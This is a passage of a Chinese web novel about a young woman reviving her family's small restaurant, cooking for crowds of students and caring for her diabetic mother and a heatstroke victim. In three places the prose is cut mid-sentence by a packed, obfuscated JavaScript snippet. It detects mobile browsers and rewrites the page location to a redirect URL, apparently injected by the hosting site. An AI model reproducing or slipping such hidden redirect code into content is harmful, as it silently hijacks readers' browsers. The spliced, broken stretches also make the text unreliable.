方媛媛拎着检查单和一袋药,蹦蹦跳跳跑向候诊区。 她在云秀珠身边坐下,一项项解读指标:“……总而言之,您这个毛病得重视起来了。您是不是很久没有监测过血糖了?” 云秀珠有些赧然:“试纸太贵了,所以测得不是很频繁……” “云阿姨!您不能对自己的身体这样不负责!”方媛媛年年做志愿者,这样的长辈也见了不少,“您想想云漪,她天天在厨房里忙上忙下不就是为了让您有空注意身体吗?云漪赚钱是为了什么,不就是让您好好治病的吗?” “唉,我也知道……” “刚才医生还提醒我呢,说像您这样的患者,最好是上动态血糖仪,让家人每天帮您盯着!” “那可不行!”云秀珠连连摆手,“动态血糖仪一个月就要好几百,太费钱了!” “现在心疼这几百,真要是恶化了,云漪再赚好几百万都不够!” 方媛媛的话说得很重,毕竟她清楚,这些把勤俭节约刻在DNA里的长辈的想法是很难改变的,光靠晓之以情动之以理,嘴皮子磨破了都说不通。 可是,用长辈在乎的事情来“威逼利诱”就不同了。 就比如此时此刻,云秀珠已经不再把贵字挂在嘴边,而是低下头认认真真思考了——是要做云漪一时的负担,还是一辈子的累赘? 方媛媛知道她现在一定把生老病死六世轮回想了个遍,连忙换了个话题:“云阿姨,已经快晚饭点了,您晚上吃什么?” “我想……”云秀珠顿了顿,忽然抬头,“小方,你能陪我去趟云记吗?” “去云记吃晚饭吗?” “没有没有,我就只是想去看看一一。” 方媛媛有些犹豫。 刚刚她说了那么多云漪多辛苦多努力赚钱,可实际上云记现在就她一个稳定顾客,要是让云阿姨看见云记门可罗雀的样子,会不会起反作用啊…… “要不然别去了吧?云漪新官上任,还没起步呢,您去了她肯定心慌。” “远远地看着不让她发现就行,”云秀珠掐着指腹上测血糖扎出来的小洞,“这孩子第一天就赚了三百多,也不知道是下了多大的功夫……” 在云秀珠的心里,大女儿已然是一副点头哈腰街边揽客的画像了。 云漪从小内向腼腆,上大学之后除了室友也没什么社交,猛然让她扛起云记这个重担面对形形色色的陌生人,实在是太为难她了。 云秀珠至少经营过几年的饭馆,在这方面能帮上一些忙。 方媛媛说得没错,她不能一直拖累云漪。 云漪让她好好休息,可她也不是一个废人,没道理让女儿为她冲锋陷阵。 云家的困难,云家人要一起渡过。 方媛媛拗不过长辈,只好陪着她往云记小饭馆去。 云秀珠的步伐越走越快,小声叮嘱:“小方啊,一会儿你在门口等我。我在附近有几个认识的老板,我去帮一一招点客人。” 那些老板都是和罗富有交情的人,不是逼不得已,云秀珠一点也不想和他们打交道。 可他们手上人脉多,只要能帮上女儿的忙……委屈一下也不会少块肉,对吧。 “好,那我——哎哟!”方媛媛刚应下,就被一个残影撞到了肩膀,“干什么呢!这里路本来就窄,跑这么快,撞到我是小事,撞到车怎么办!” 残影倏忽回头,平头男生一个劲儿道歉:“不好意思不好意思,我赶时间呢。” 见平头男生穿着外国语附中的校服,又一副急匆匆的模样,方媛媛不解:“你们不是刚下课么,赶什么?” “那边新开了一家店,巨好吃!中午我排了一个小时没吃上,这次必须抢到!”说完,男生也顾不上什么礼貌了,转头就跑。 云秀珠听完这番话,如同平地里挨了一通晴天霹雳。 噩耗,天大的噩耗…… 本来云记小饭馆这个山芋就烫手,现在附近还开了一家这么火爆的店,那云漪得多受挫多伤心…… 不行,她得赶紧帮帮云漪! 二人刚跑到长平东路的街口,远远的就看见了一条长队,几乎全是穿着校服的学生。 云秀珠倒吸一口凉气:“这家店竟然就在云记附近吗……” 云秀珠捂着心口,感觉她的血糖正在忽高忽低坐跳楼机。 方媛媛连忙搀扶住她,眯着眼睛看向队伍的源头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958373|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越看越觉得奇怪:“……云阿姨,好像有哪里不太对。” 有学生手里捧着好几个蛋烘糕从她们身边蹦蹦跳跳地走过,飘出一股酸酸辣辣的味道。 ……这味道,可不就是云漪拿手的酸辣手撕鸡吗? 对视一眼,二人挪着小心谨慎的步伐逼近云记。 只见一辆干净整洁的餐车前,排着少说三十个人头,都安安静静等待着。 周围有不少手握蛋烘糕的学生,随便找了个没人的地儿蹲下,一会儿呼啊呼啊地吹凉,一会儿嘶哈嘶哈地大口吞咽,看得排队的人又馋又恨。 可餐车处却没有人。 二人再往前几步,又看清了云记小饭馆里面的盛况——原本只能放下八张方桌的小店,被清一色的校服占得满满当当,一个空座也没有。 从学生脸上偶尔闪现的尴尬足以看得出来,其中有不少是拼桌的。 她们一个个如同动物园里等待投食的小鸡仔一样,一边捧着光洁锃亮的瓷碗,一边目光热忱地盯着厨房门,企图从那一小扇玻璃上看出菜的形状。 终于,“嘎达”一声,门开了。 云漪端着一个硕大的餐盘,像玩俄罗斯方块似的整整齐齐垒了两层圆盘:“第一道菜,夫妻肺片。” 卤好的牛舌、牛心和牛肚切成薄片,随意码在盘中。透亮的红油随着步伐轻轻摇晃,顺着牛杂边缘缓缓滴下。青翠的葱花碎和饱满的炸花生点缀其上,看得人食欲大开。 云漪凭着好记忆,一盘盘放在正确的桌子上。 她取走其中一人的筷子翻拌均匀,瞬间,老卤的余温激发了香料混合出的厚重香气,直往人鼻子里钻。 有人夹起一片,牛舌在云漪精细的刀工下被片得轻薄入味,每一丝纹理都渗透了红油。 刚入口,一股温和的卤香渐渐包裹上来,很快又被花椒的麻意攀爬而上,辣味紧随其后,每一种味道都恰到好处并不蛮横,只是层层递进。再嚼,牛舌软糯,牛心紧实,牛肚弹韧爽口,越嚼越香。 在这样炎热的夏日,来一盘香辣凉爽的夫妻肺片,比吃冰淇淋还舒坦。 “太香了,一碗米饭哪够吃啊……” “老板有稀饭吗?这凉菜不配碗稀饭太可惜了啊!” “姐妹,我没点夫妻肺片,能不能尝一口你的?待会儿我的手撕鸡也分给你!” 有人沉默不语埋头苦吃,有人辣得豪饮两杯白玉油柑却舍不得停,还有人饕餮进食般完成了光盘行动,就连盘底的花生碎和香菜末都不放过。 整个云记小饭馆,除了筷子碰撞声,就只剩下了时不时咽口水的声音。 云漪像上了发条似的,五分钟内快速出餐了两样凉菜,转头掀开餐车盖:“里面的同学稍等一下,我做五个人的蛋烘糕就去炒菜。” 云记就她一个人,一边下厨房一边烤蛋烘糕,就算她再熟练效率也低得出奇。 可神奇的是,竟然没有一个人抱怨。 被暂时搁置的方桌派们为了不去馋蛋烘糕派的菜,索性聊起了天: “唉,等就等吧,我在昆仑练了六年的剑,我的心早就和昆仑山的雪一样冷了。” “唉,好巧,我在大润发杀了十年的鱼,我的心早就跟我的刀一样冷了。” “可是为什么!当我闻到老板做的菜,眼泪还是会如黄果树瀑布般飞流直下,划过我的脸庞打湿我的拖鞋!” “老板,我可以等!但你一定要记得,我的炝锅面只要二两,不要葱花、多放辣椒!” 云秀珠:“……” 她就多余担这个心。 10. 绿豆汤 云秀珠长长舒了一口气。 比起云记一夜之间生意爆棚,她更庆幸的是,云漪不会有那么大的压力了。 她走到餐车后,伸手接过铜锅,熟练地加面糊:“这里我来,你去里面做菜。” “妈?”云漪一愣,想把锅抢回来却被躲开,“你坐着休息,我一个人没问题的。” “还没问题呢,你看这些孩子都等成什么样子了。” 云漪转头,方桌前的学生们立刻配合地皱成苦瓜脸。 云漪:“……” 云秀珠拍拍她的手背:“放心吧,摊蛋烘糕累不着我的,医生也让我适当运动呢。” 比起在后厨忙前忙后煎炒烹炸,烤蛋烘糕的确是轻松简单的活儿。 云秀珠当了这么多年厨子,没少摊过各种饼皮,虽然以往没卖过蛋烘糕,但烤上一两个也就掌握了。 今天晚上的客人实在是多得数不过来,云漪无时无刻不想有个帮手,可是…… “哎呀,你就去忙你的吧!”方媛媛推搡着她的肩头,“反正我闲,我在这儿帮你看着云阿姨,她身体撑不住了我第一时间拦住她!” “谢谢你,媛媛姐。” “不过,话先说在前头,我可是要报酬的。” 此话一出,就连排队的学生都忍不住看向她。 怎么回事,穿着志愿者小马褂的人居然这么势利眼,帮人还要拿报酬? “你必须……”方媛媛叉腰,瞪着云漪,“给我留两个蛋烘糕!好歹我也是你的忠实粉丝,你开卖蛋烘糕居然不跟我说一声!” 学生:“……” 行吧,本来以为是个功利的志愿者,到头来只是一个嘴馋的饿鬼,竞争者又多了一位。 云秀珠洗干净双手,戴上围裙和透明餐饮口罩,有模有样地烤起蛋烘糕来。 原本排队的学生还有些忐忑,她们来就是为了老板的手艺,这排着排着突然换了一个厨师,影响就餐体验了怎么办? 所幸,云秀珠的厨师功底扎实,就算饼皮的火候稍稍有所欠缺,普通人的舌头几乎吃不出来。再加上馅料都是云漪早早准备好的,蛋烘糕照样美味,没有人不满。 更何况,多一个厨师她们就能少等好几十分钟,何乐而不为呢。 甚至有自来熟的话唠直接和云秀珠搭起话来:“阿姨,那个姐姐看起来好年轻,才多大岁数啊?” “她二十一,入秋就大四了。” “啊?居然还是个大学生?那她是在这里帮您忙的吗?会不会过几天就不来了啊?” 云秀珠听着听着,总觉得这个问题甚是耳熟,好气又好笑地看了一眼方媛媛。 方媛媛嘿嘿一笑。 云秀珠一脸无奈,斩钉截铁地回答:“不会。云记小饭馆的老板,是我女儿云漪。” 刚从厨房里炒完十盘回锅肉的云漪,一出来就听见了这句话。 刹那间,厨房里的闷热消散了大半。 ——妈妈这是认可了她,同意让她接手云记了。 云漪从小没什么主见,罗富让她做什么她就做什么,主动要求经营云记小饭馆是她最坚定的一次。 还好,她的坚定是正确的。 她想了很久,要如何在三天之内说服云秀珠。 三天之内接待一百位顾客、三天之内创收五千元、三天之内让云记小饭馆的招牌传出长平社区……可实际上,她哪一样都还没有实现。 云秀珠似乎并不在意她能赚多少钱,只在意她开不开心。 看见云漪乐在其中的样子,看见这么多陌生的脸孔喜欢云漪,看见云漪在这小小一隅里收获了远超出前二十年获得的赞许和认可……云秀珠觉得,就算女儿赚不到几个钱,也值得了。 云漪已经是大人了,她知道如何对自己的人生负责,就算接手云记是在勉强,那也是她自己的选择。 云秀珠回首,看着汗如雨下的女儿。 ——她只需要尊重云漪,默默陪伴就好。 云秀珠吸了吸鼻子,继续摊饼皮,热气熏得她止不住眨眼,压制住了不听话的泪腺。 客人一桌一桌地进,云漪一直在后厨忙到七点半学校晚自习开始,才得空坐下来休息片刻。 少有几个不上晚自习的走读生留在店里继续吃,还额外点了几道菜打包回家当宵夜,其中就有孔喆的好兄弟。 “老板姐姐,求你了,单卖白玉油柑吧!我昨天带回去让我妈复刻,她什么都加了,就是没你那个味!” “是啊是啊,再做点别的饮品卖也行,我们帮你宣传!” 云漪摊开自己皱皱巴巴的手掌心:“你们看我今晚这个忙活程度,哪有空做饮品呀?白玉油柑本来就是我用来招揽顾客的,你们自取我省事。你们喜欢的话,我把配方写出来,其实很简单,就是长平山上的本地余甘子和当季的栖霞苹果一起榨……” 云漪闲着也是闲着,一边回忆一边事无巨细地告知了制作方法。 她还搬出榨汁机,现场演示了一番:“我做吃的都是凭感觉控制量,你们可以录个像看看大致放多少。只要比例差不多,味道怎么都不会难喝的。” 学生纷纷举起手机,对准操作台打开摄像头。 “老板,你真不怕别人学走你的独门秘方啊?” “就一个普普通通的饮品而已,还算不上秘方。有这么多人喜欢喝,它的价值就达到了。” “格局,什么叫格局!” 云漪笑着摆摆手:“反正我家这一批摘的余甘子用得差不多了,可能过两天就会换免费畅饮的品类。” “太好了,有新饮料喝了!” “居然还是免费畅饮,老板你真不会亏钱吗?” “是啊!你家菜也是物美价廉,你可不能倒闭啊,我高三就指着你家店呢!” 下一秒,男生就被同伴敲了一个爆栗,让他呸呸呸别当乌鸦嘴。 云漪今天的心情格外轻松,看着他们打闹,也忍不住加入:“你要是怕我倒闭,就多帮我招揽点顾客。” 这话被正在门口休息的云秀珠听见,立马回头,略带一丝埋怨:“一一,怎么跟客人说这种话?” 云秀珠做事向来小心谨慎,她生怕客人听了这话,以为云漪是一个唯利是图没有真心的人。 她的女儿,明明比谁都要真挚。 “没事的阿姨,老板姐姐跟我们开玩笑呢!” “老板没大我们几岁,我们同龄人之间说话就这样!” 就连方媛媛也一边啃蛋烘糕一边拍着她的背,含糊不清地说:“就是啊,再说想方设法揽客也很正常嘛,您下午不还想去找附近认识的老板帮忙吗?” 云秀珠:“……” 云漪一听,立刻警觉起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958374|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不仅憎恨罗富,也讨厌他那群狐朋狗友。就是这群人天天把云记当成娱乐会所,不是喝酒就是打牌,把好好的饭馆搞得乌烟瘴气。 以前还没离婚的时候,他们也总把云秀珠当保姆使唤,一来云记就让她炒菜倒酒,抽完的烟头直接往剩菜里一掐,没有一丝尊重。 后来云秀珠重新夺回云记,第一件事就是把这店里的餐具换了个遍。 所以,云漪对这群人完全没有好脸色。 她走上前,蹲在云秀珠面前,认认真真:“妈,我之前只说让你好好休息、好好照顾身体,现在我要再加一条。” “你这孩子,怎么还坐地起价?” “我要你永远不许委屈自己。”云漪字字铿锵,目光坚定,“我们一定会过得特别特别好,不需要受任何委屈。” 云秀珠怔住。 直到温热的掌心覆上冰凉的手指,云秀珠才缓缓回神。 她哽了哽,轻轻点头:“好。” 云漪露出一个心照不宣的微笑,安安心心回到柜台前,开始算起今晚的账。 店里只有云漪一个人下厨,翻台率不算很高,但好在菜单简单,一次性出餐量大,并没有耽误太多时间。 217个蛋烘糕,78道菜,总计收入4623元。 加上今天中午的收入,刚刚好超过六千元。 六千块。 那可是六千块!!! 云漪当即点开京东,选中她做了两晚上功课选出来的节能空调,立即下单! 太好了,以后再也不会累得满头大汗了! 就在云漪沉浸于丰收的喜悦时,突然间,门外传来一声巨响。 “咣当!”一个走路歪歪斜斜的年轻女孩一头撞上玻璃门,还保持着礼貌,颤颤巍巍地举起手,“请问……有水吗……” 这动静把店里的学生吓够呛:“看、看起来有点严重……不会是碰瓷的吧?” 云秀珠和方媛媛二话不说把人扶了进来,云漪稍稍看了两眼,心里就有了数。 应该是中暑了,不算太严重。 末世极端天气频发,她对中暑这件事也是驾轻就熟,立马兑了一杯淡盐水给女孩喂下,又用湿毛巾降温。 过了几分钟,女孩渐渐苏醒过来。 面对一圈殷切的目光,女孩受宠若惊:“我……我是晕倒了吗?” “你中暑了,现在好点了吗?”云秀珠挪开身子,让风扇的风能够吹到她,“一会儿回家一定要好好休息。” “不好意思,给你们添麻烦了……”女孩一口闷下淡盐水,“我是来这边勘探拍摄场地的,找了一下午,不知不觉就晕过去了……” 这时,云漪端着一碗汤水走来。 莹亮的汤汁甚是清透,能看见绿豆在碗里沉浮。豆皮爆开,内里已经被化煮成细沙,添了一层薄薄的朦胧。 云漪把绿豆汤递给她:“喝一碗吧,温凉的绿豆汤能缓解中暑。” 女孩接下她的好意,浅浅抿上一口。 第一口没有任何甜味,只有清凉的豆香沾在舌尖。多抿上几口,才有一点回甘渐渐漫上来,淡而不寡。绿豆被熬到细腻粉糯,却不觉得糊口。那股柔和的清甜顺着喉咙往下走,一点点冲淡了燥热。 女孩的眼睛瞬间瞪大。 这一碗普普通通的绿豆汤,怎么比外面卖的甜品还好喝? 11. 清蒸杂烩 夏天的饭馆大多都会提供绿豆汤,但要么清汤寡水,要么重料齁甜。 而眼前这碗绿豆汤,和小时候家里提前一夜泡水、厚砂锅文火慢熬的绿豆汤一样,口感温和、沁人心脾。 一碗绿豆汤下肚,梁婷只觉得一天的疲惫都被涤荡了。 梁婷初入职场,因为是本地人,被制片安排了一个实地勘景的工作。她在德市找了三天,都没有找到制片满意的地点,今天要是再空手而归,这个小小的助理工作也要泡汤了。 所以,她才这样拼命。 她在烈日下暴走了一整天,饭没吃两口水没喝两杯,几乎失去饥饿的实感。 十几个小时过去,清爽的绿豆汤倒勾起她胃里的小馋鬼了。 梁婷环顾了一圈,这家店里还有零星几个客人,应该没打烊吧? 她试探地问:“现在……还能吃饭吗?”说罢,又意识到了歧义,连忙补充,“我不是想白吃白喝,我给钱的!不止是饭钱,我还会多给,谢谢你们救了我!” 云漪噗嗤一笑,重新系上围裙。 她点了点食指,潇洒留下一句“等着”。 “……”梁婷一愣,“她、她是厨师?” “是啊,你别急,老板出餐很快的。” 梁婷原以为眼前的中年妇女才是主厨,年轻女孩不过是帮忙搭把手添一碗绿豆汤,没想到…… 越想越好奇,梁婷抬头,透过门上的半扇玻璃看去,云漪纤细到有些瘦弱的身影行云流水地切菜、汆水。 这姿态,的确像个老资格。 她又悄悄摸了摸身下的椅子,也是上了年纪的老东西。 这家店,倒是和制片的要求有些相符…… 二十分钟过后,一道清蒸杂烩摆上了桌。 云漪轻描淡写:“中暑不宜吃太重口的,我随便用剩下的食材做了一碗清蒸杂烩,将就将就。” 这是一道德市乡间开席时的必备土碗菜,也是“三蒸九扣”的头菜。 宽口土碗冒着腾腾热气,浓白的水雾散开些,才露出鲜亮的汤色,微微晃着光。顶上一层翠绿的葱花点缀,看起来美味极了。 拨开葱花,是几枚猪肉糜刮出的尖刀圆子和先炸后蒸的小酥肉条。圆子斜斜铺开,掺着葱姜的肉末裹着一层晶莹的油光。酥皮吸饱了汤汁,泛着冰皮似的白,半浮半沉。 而汤面以下,鸡肉、猪心、猪肚、猪舌……各种各样的食材切成薄片,呈现着深浅不一的颜色,垫底的芋头早已蒸得软烂,既融进了汤汁的鲜,又回赠了一分柔和的甜。 梁婷舀起一勺汤,吹开油花缓缓送入口中。 香气是复合的,有骨汤的醇厚,有内脏的脂香,有金钩海米的咸鲜。 她又夹起一块小酥肉,肉条颤巍巍地挂着汁,外层已然软化,内里却还留着油渣过的那缕弹韧。 鲜味层层叠叠涌上来,梁婷只觉得浑身的毛孔都舒展了开来。 云漪打了一碗饭,温馨提示:“可以试试拌饭,很香。” 厨师本人都这么说了,梁婷不疑有他,一整碗饭直接泡了进去。 香甜的珍珠米被汤汁完完全全入侵,鲜得她闭眼喟叹:“太好吃了吧……” 学生:“……” 这就是老板口中的将就将就吗? 可恶,他们为什么吃完了不走!现在好了,明明肚皮都快撑破了,但还是被清蒸杂烩勾得流口水! 梁婷一副怕老板以为她白吃白喝的模样,还没吃完就急匆匆要付钱。 “这道菜没上菜单,又都是剩下的食材拼的,你随便给个二十五就行。”云漪想起什么似的,强调道,“不要多给,我会很尴尬。” 说完,又递给她一大盒绿豆汤:“一次性熬煮多了,带点回家,开水烫一烫就能喝。” 梁婷傻愣愣地接下。 这家店……有点好得出奇了吧。 “老板,这个菜啥时候上菜单?” “支持支持!我想吃蒸菜了!” 云漪摸着下巴,沉思片刻:“的确可以考虑……等明天装了空调,我添几道蒸菜吧。” 天气太闷热的话,蒸菜不如凉菜炒菜好卖,但要是有了冷气就不必受限制了。 “什么,要安空调了?!” “嗯,刚下单了一台呢。” 方媛媛立马拍桌:“从明天起,我一下班就在你这儿待着了!今天中午就是因为太热了懒得出门,才错过了第一批一蛋烘糕!” “志愿者姐姐,你有没有想过,你一直在这里占着桌子会耽误老板姐姐做生意。” 方媛媛:“……” 哼,现在的小屁孩真是不会说话。 云秀珠拉着方媛媛的手腕,笑着说:“这有什么,我从明天起也来帮忙卖蛋烘糕,给小方留张凳子陪着我就行。” “……妈?”云漪皱眉,“我们不是说好了么?” “你放心,我就只摊摊蛋烘糕这种简单活。”云秀珠斜眼看她,脸上是许久未见的轻松俏皮,“像后厨和经营这些麻烦事,你让我管我都不管,全交给你。你也不想这群孩子成天望眼欲穿地等吧?” 云秀珠端庄地坐着。 她才四十出头,发顶就已经生出一片花白,不得已剪成一头短发。眉眼温柔,不施粉黛,鱼尾纹里镌刻了几十年的辛苦坎坷。 云漪知道,让她彻底停下来很难。 她愿意说出这种话,已经是她释怀以后最大的让步。 毕竟,她放不下云记,更放不下云漪。 云秀珠从来不勉强云漪,云漪也不会像无趣的大人那样,罔顾云秀珠这么多年的执着。 她也希望妈妈开心。 片刻,云漪轻轻叹了一口气:“好。那说定了,你只负责蛋烘糕,不许碰别的。” “你们看你们看,”云秀珠笑得法令纹都深了几分,“我们家小老板官威大得很呢。” 云漪翘起鼻子:“有威当然要用,你这个前老板就等着看本现老板妙手回春拯救云记的2.3评分吧。” 学生听了,好奇八卦:“什么评分?” 一提到这个方媛媛就来气,绘声绘色讲了一遍云记的迭代史。 “靠,我每次找吃的都是筛选四分以上的店铺,我就说怎么上了两年学从来没发现过这家店!” “还有这种事?你们也太冤了吧?” “不慌,我马上号召今天来吃过的同学给你打分!” 暑假前夕的学生,除了学习什么都爱干。 转眼间,大众点评上就多了十几条评价,全都是洋洋洒洒几百字的五星好评,每一条都带着实拍的美食开光照。 就连梁婷也不知不觉被带动着写了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958375|193236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条好评。 桌上的清蒸杂烩已经被她默默吃干抹净了,拍不出什么有价值的照片。为了凑图,她只能举起手机,挑着角度拍了几张店面。 点击发送后,她捏着手机顿了顿。 再三思索后,选择转发店铺到微信,附带上了那几张店面照片。 看着一桌学生小脑袋围成一圈,认认真真讨论怎么把差评压下去,云漪的心头软软的。 像在看一群行侠仗义的小侠客。 有人一转头,就看见了云漪那副触动的模样,玩笑似的做出防御的姿态:“诶诶,老板姐姐你别整这死出啊!真感动的话就赶紧在菜单上多加几道菜,我们还没吃够呢!” 云漪顷刻间笑出了两弯月牙,硬是把眼底的一丝酸涩挤了回去。 她的客人,都是很好很好的人呢。 - “师傅,再左边一点,贴着墙角放就行。” 第二天,崭新又硕大的立式空调终于进了云记。 云漪心情极好,爽快地签收后,又把买来的透明挡风门帘安上,门窗一关,打开18度的冷气。 啊——爽! 算上末世,她已经十年没吹过空调了! 她看了看云记,还是有些小小的不满意。虽然店里有了冷气,可蛋烘糕餐车放在门外,还是享受不到一丝清凉。 得抽空把门口改造一下,搭一个小窗口出来。以后就算不卖蛋烘糕了,也少不了卖点别的,有个窗口也方便。 云漪把两台摇头扇都搬到了店外,暂时应付一下,让排队的学生和操劳的云秀珠都能吹到风。 刚安顿好,身后就响起刺耳的三轮车刹车声。 云漪回头,惊呼道:“姥姥,你怎么这个点过来了?” 春华迈着小碎步跑上前,问她:“一一,店里还有余甘子没?” “还有一点,我还说明天跟你一起再去摘点呢。” “那能给我不?” 云漪笑了:“这是姥姥你摘的,当然可以。”反正今天做酸辣手撕鸡和白玉油柑的量已经备好了,剩下不多的余甘子放着也是放着。 云漪把剩下的余甘子装袋,好奇问:“突然要这个干什么?” 春华也是一头雾水:“也不晓得咋了,昨天菜贩子突然找我要余甘子,说有多少收多少……前两天说城里人不吃这玩意的也是他。” “刚才我送菜回来,路边还遇到摆个筐卖余甘子的,要40块钱一斤!有个妈说是给儿子买回去榨汁喝,我赶紧给她拦下来了,说我屋里还有,莫买这些讹人的。” 春华说话有些没头没尾,但云漪算是听明白了。 姥姥在路见不平拔刀相助呢。 余甘子在她们乡下遍地都是,以前都当成不值钱的野果子。摘来卖钱也就算了,买40块钱一斤不是纯抢劫么? 春华姥姥这个人从来都善良,自己天天在菜贩子那里吃亏,却不忍心看旁的人被骗。 云漪看着比自己矮半个头的老人,宠溺地叹气:“那个母亲在哪里?走吧,我帮你拿给她。” “喏,后面那辆车就是。” 缓缓的,一辆普通的小轿车停在路边,车窗缓缓摇下,一张正气凛然的脸露了出来。 云漪心头升起一股莫名的熟悉感。 这张脸,怎么看着这么眼熟呢? 12. 渣辣椒蒸肉 察觉到云漪的视线,女人有些困惑:“我脸上有东西么?” 云漪连忙给她略显突兀的行为找了个台阶:“抱歉,只是姥姥跟我说你想买余甘子榨汁,我有些好奇是怎么有这种想法的。” 周胜男挪动目光,落到了她们背后的云记小饭馆招牌上。 原来是餐饮从业者来打听商机了。 周胜男无奈摇头:“昨天看我儿子的朋友圈,说这东西榨汁好喝。我最近忙,都没怎么陪他,就想着做点他喜欢的东西。谁知道差点被骗,多亏你姥姥。” “姥姥就这样,见不得别人讹钱,这果子她都只卖五块钱不到。” 五块钱不到?! 敢情刚刚那人险些含泪赚她三十五! 周胜男把一袋子油柑放到后座,看了眼手表,也到午饭点了。 她指着云记小饭馆问:“这是你们开的店吧,能外带不?” “当然能。” “那我点几个菜带走,水果钱也一起算。” 说完,周胜男停好车走进店里。 店里没什么人,倒是格外凉爽干净。 周胜男对食物的要求和旁人不太一样,比起美味,她更在意食材的绿色健康。 平时在家,即便工作繁忙,她也一直是自己买菜,再请阿姨上门准备一日三餐,更不准丈夫儿子吃那些世俗意义上的垃圾食品。 就算要吃外面的食物,也必须是干净卫生的明厨堂食店才行。 这几天她在外地出差,做饭阿姨也有事请假,只能让儿子老老实实吃食堂。 今天终于回家了,她也没时间临时找别的做饭阿姨,眼瞅着这家店还算亮堂,索性点几个菜拿回家吃得了。 再说了,这老人好心帮了自己,照顾一下生意也没什么。 刚一坐下,春华就给她接了一杯白玉油柑。 周胜男抿了一口,立刻喝出这就是余甘子的味道。 奇了怪了,这油柑汁怎么突然就火起来了,儿子喜欢就算了,连街边随手一家餐馆也卖? 不过……真好喝。 难怪她儿子那个臭小子突然爱上了油柑汁。 也是一件好事,那家伙也不知道跟谁学的,小小年纪就开始喝咖啡,她教训了好多次都无果。现在这小子突然摈弃咖啡爱上了鲜榨的果汁,也算是一点小小的进步。 她又尝了一口,能喝出来这果汁里没加什么糖精香精,半杯下肚丝毫不糊嘴。 看来,这家店用料应该还算绿色。 周胜男点了六个菜,两道她中午自个儿吃,四道留到晚上和丈夫儿子一起吃。 过了一会儿,云漪把她要的菜打包好。 她指着其中一袋说:“刚刚听你说要留到晚饭吃,我就没有蒸太过。晚上热的时候你把菜移到盘子里,上汽再蒸五分钟就够了,能稍稍保留一些口感,不至于太耙。” 只短短几句话,周胜男对这家店的观感又好了一分。 这年头,生意做这么细致的老板不多了。 不过这也是小店才有的待遇,做大做强的网红店到头来服务都会变差,客人多了就顾不上雨露均沾了,也能理解。 周胜男付了钱,余光瞥见杯中一滴不剩的白玉油柑,突然想起:“对了,你这果汁是直接用余甘子生榨的么?味道挺好。” 云漪不带一丝保留地又复述了一遍做法,笑着说:“只要水果选得好,其实味道大差不差。具体的用量你可以上网搜一搜,应该会有分享的。” 周胜男点点头,只当云漪把用量藏着掖着,毕竟做生意的嘛,哪能把秘方倾囊托出。 晚上去万能的小红书找个比例就是了。 周胜男走之前,又向春华道了声谢。 春华摆摆手,怒着一张脸:“这些人就是看你是当妈的心疼儿子,专门骗你的,不怀好意!下次你要是还买,就来店里说一声,我给你留着!” 陌生的善意最是动人,周胜男只觉得心口软软的。 她对云漪说:“你们家基因真不错,都是善良细心的好人。” 小轿车扬长而去,云漪揽着春华的胳膊走回店里,抬抬下巴:“你看,又有人说我们是一家人了,我都说了你是我命中注定的亲姥姥。” 春华捏捏她的鼻头:“那我是赚了,不用受怀胎十月的苦就有秀珠这么乖的闺女,还有你和小葵这么聪明的孙女。” 云漪顺势蹭蹭她的掌心,亲昵极了。 她低头问:“姥姥,你一会儿留下来吃饭吧,我妈也要过来帮忙呢。” “我回去煮碗面就是,吃完还要上山呢。”春华眼里染着喜悦,“树上还有好多余甘子,我再摘一批拿去卖,周末给你和小葵买那个什么‘肯定鸡’吃!” 云漪没有继续劝春华。 春华从小过得苦,最大的执念就是她手里的那块地。她也没什么大愿望,种点小菜、摘点小果,能吃饱饭就够了。 春华这个年纪,有点喜欢做的事情不是坏事,云漪没道理拦她。 大不了,等以后多给她承包几块地,让她开开心心地当大菜农。 “行,那我们要一整个全家桶!” 云漪把春华扶上三轮车,推着走过一段平缓的上坡路,目送她离开转角才回到店里。 快到十二点了,云秀珠和方媛媛正巧也推开门。 一见到她,方媛媛就忍不住告状:“云漪,快管管你妈吧!” 云漪心口一紧:“怎么了?” “她明明答应我每天好好测血糖,结果今天又只测了个早晨空腹!”方媛媛不顾云秀珠使的眼色,继续告状,“医生建议用动态血糖仪,云阿姨嫌贵,但我觉得为了健康着想不能这么省!” 云漪难得黑了脸。 她掏出老旧手机加了方媛媛的微信,转过去一千块。 “媛媛姐,我对这些不了解,麻烦你明天带我妈去买一点血糖仪。”云漪目光恳切,“多的就当我请你吃饭。” 转完账,云漪顺手看了一眼余额。 这两天辛辛苦苦赚的钱,顷刻间就只剩下了一千多。 花钱也太容易了。 还是得再接再厉啊。 